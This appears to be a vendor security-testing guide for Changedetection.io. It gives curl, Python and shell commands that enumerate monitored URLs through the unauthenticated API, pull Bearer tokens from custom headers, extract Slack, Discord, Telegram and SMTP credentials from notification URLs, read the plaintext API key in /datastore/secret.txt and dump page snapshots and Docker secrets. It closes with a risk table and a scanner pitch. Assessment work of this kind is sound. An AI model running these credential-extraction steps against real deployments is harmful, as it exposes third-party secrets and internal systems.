Changedetection.io Security Testing: Default Credentials, API Key, Database, and Notification Webhooks

Changedetection.io is a widely deployed self-hosted website change monitoring tool — organizations use it to monitor competitor pricing, internal documentation, public status pages, and regulatory content. By default it ships with no authentication, meaning all monitored URLs and their complete change history are accessible to anyone who can reach the service. Key assessment areas: unauthenticated access to monitored URL inventory; notification webhook configurations storing Slack tokens, Discord webhook URLs, Telegram bot tokens, and SMTP credentials; custom HTTP request headers containing Bearer tokens used to authenticate against monitored internal services; and watch history snapshots storing full content of monitored pages. This guide covers systematic Changedetection.io security assessment.

Table of Contents

  1. Unauthenticated Access and URL Enumeration
  2. Notification Webhook Credential Extraction
  3. API Key and Data Store Extraction
  4. Changedetection.io Security Hardening

Unauthenticated Access and URL Enumeration

# Changedetection.io — unauthenticated access and URL enumeration
CD_URL="http://changedetection.example.com:5000"

# No authentication by default — directly accessible
# Check if authentication is enabled
HTTP=$(curl -s -o /dev/null -w "%{http_code}" "${CD_URL}" 2>/dev/null)
echo "Status: ${HTTP}"
# 200 = no auth, 302 to /login = auth enabled

# List all watched URLs via REST API (no auth by default)
curl -s "${CD_URL}/api/v1/watch" \
  -H "x-api-key: ${CD_API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
if isinstance(d,dict):
    print(f'Watched URLs: {len(d)}')
    for uuid, watch in list(d.items())[:10]:
        print(f'  [{uuid[:8]}] {watch.get(\"url\",\"\")}')
        print(f'    title={watch.get(\"title\",\"\")}')
        print(f'    last_checked={str(watch.get(\"last_checked\",\"\"))[:19]}')
        print(f'    last_changed={str(watch.get(\"last_changed\",\"\"))[:19]}')
        # Check for custom headers (may contain auth tokens)
        headers = watch.get('headers',{})
        if headers:
            print(f'    CUSTOM HEADERS: {list(headers.keys())}')
" 2>/dev/null

# Get specific watch details including custom headers
WATCH_UUID="your-watch-uuid"
curl -s "${CD_URL}/api/v1/watch/${WATCH_UUID}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'URL: {d.get(\"url\")}')
print(f'Custom headers:')
for k, v in d.get('headers',{}).items():
    print(f'  {k}: {v}')  # May include Authorization: Bearer xxx
print(f'Request body: {str(d.get(\"body\",\"\"))[:200]}')
print(f'Proxy: {d.get(\"proxy\")}')
" 2>/dev/null

Notification Webhook Credential Extraction

# Changedetection.io — notification webhook credential extraction
CD_URL="http://changedetection.example.com:5000"
CD_API_KEY="your-api-key"

# Get notification settings for all watches
# Notifications are configured per-watch or globally
curl -s "${CD_URL}/api/v1/settings" \
  -H "x-api-key: ${CD_API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
notif = d.get('application',{}).get('notification_urls',[])
print(f'Global notification URLs: {len(notif)}')
for url in notif:
    print(f'  {url}')
    # Apprise URL format embeds credentials:
    # slack://TOKEN_A/TOKEN_B/TOKEN_C
    # discord://webhook_id/webhook_token/
    # tgram://BOT_TOKEN/CHAT_ID/
    # mailtos://user:password@smtp.host/to@email/
    # json://user:password@hook.example.com/path
" 2>/dev/null

# Per-watch notification URLs (Apprise format with embedded credentials)
curl -s "${CD_URL}/api/v1/watch" \
  -H "x-api-key: ${CD_API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
if isinstance(d,dict):
    for uuid, watch in d.items():
        notif_urls = watch.get('notification_urls',[])
        if notif_urls:
            print(f'Watch [{uuid[:8]}] {watch.get(\"url\",\"\")[:60]}:')
            for url in notif_urls:
                print(f'  Notification: {url}')
                # Parse credential types:
                import re
                if 'slack://' in url: print('    -> Slack token')
                if 'discord://' in url: print('    -> Discord webhook')
                if 'tgram://' in url: print('    -> Telegram bot token')
                if 'mailtos://' in url or 'mailto://' in url: print('    -> SMTP credentials')
                if 'slack://' not in url and 'discord://' not in url \
                   and 'tgram://' not in url and 'mail' not in url:
                    print('    -> Unknown service credential')
" 2>/dev/null

API Key and Data Store Extraction

# Changedetection.io — API key and data store extraction

# Data directory structure — default /datastore
ls /datastore/ 2>/dev/null | head -20
# UUIDs of watched URLs (directories)
# url-watches.json — all watch configurations
# secret.txt — the API key

# Read the API key
cat /datastore/secret.txt 2>/dev/null
# API key in secret.txt provides full API access

# Read all watch configurations
cat /datastore/url-watches.json 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
watches = d.get('watching',{})
print(f'Total watches: {len(watches)}')
for uuid, watch in list(watches.items())[:10]:
    print(f'  [{uuid[:8]}] {watch.get(\"url\",\"\")}')
    # Custom request headers — may contain auth tokens
    for k, v in watch.get('headers',{}).items():
        print(f'    Header: {k}: {v}')
    # Notification Apprise URLs with embedded credentials
    for url in watch.get('notification_urls',[]):
        print(f'    Notification: {url}')
" 2>/dev/null

# Watch history — stored page content snapshots
ls /datastore/ 2>/dev/null | head -5 | while read UUID; do
  [ -d "/datastore/${UUID}" ] && {
    echo "Watch ${UUID}:"
    ls /datastore/${UUID}/ | tail -5  # Most recent snapshots
    # Read the latest snapshot
    LATEST=$(ls /datastore/${UUID}/*.txt 2>/dev/null | tail -1)
    [ -n "$LATEST" ] && echo "  Latest snapshot (first 200 chars):" && \
      head -c 200 "$LATEST" 2>/dev/null
  }
done

# Docker environment
docker inspect changedetection 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['PASSWORD','SECRET','USE_PASSWORD','PORT','BASE_URL']):
            print(e)
" 2>/dev/null
# USE_PASSWORD — enables basic authentication
# PLAYWRIGHT_DRIVER_URL — browser automation service URL
# PROXY_URL — proxy configuration that may contain auth credentials

Changedetection.io Security Hardening

Changedetection.io Security Hardening Checklist:
Security TestMethodRisk
Unauthenticated monitored URL enumerationGET /api/v1/watch without credentials — all monitored URLs including internal systems, staging environments, and competitor pages; complete organizational monitoring intelligence inventoryHigh
Apprise notification URL credential extractionGET /api/v1/settings or url-watches.json — Slack tokens, Discord webhook URLs, Telegram bot tokens, SMTP credentials embedded in Apprise notification URL strings; each represents a live credential for an external serviceHigh
Custom request header Bearer token extractionGET /api/v1/watch/{uuid} headers field — Authorization tokens, API keys, session cookies used to authenticate against monitored internal services; enables direct access to those internal systemsHigh
API key extraction from /datastore/secret.txtRead /datastore/secret.txt — the API key stored in plaintext; provides full API access to all watches, settings, and history; enables adding malicious monitored URLs or extracting all existing dataHigh
Watch history page content snapshot accessRead /datastore/{uuid}/*.txt — full content snapshots of monitored pages stored on disk; may contain sensitive data from monitored authenticated internal systems or pages with PIIMedium

Automate Changedetection.io Security Testing

Ironimo tests Changedetection.io deployments for unauthenticated monitored URL enumeration, Apprise notification URL credential extraction (Slack/Discord/Telegram/SMTP tokens), custom request header Bearer token and API key extraction, /datastore/secret.txt API key access, watch history page content snapshot extraction, Docker USE_PASSWORD/PLAYWRIGHT_DRIVER_URL/PROXY_URL credential exposure, unauthenticated API endpoint access (/api/v1/watch, /api/v1/settings), network accessibility assessment, and monitored URL intelligence value analysis.

Start free scan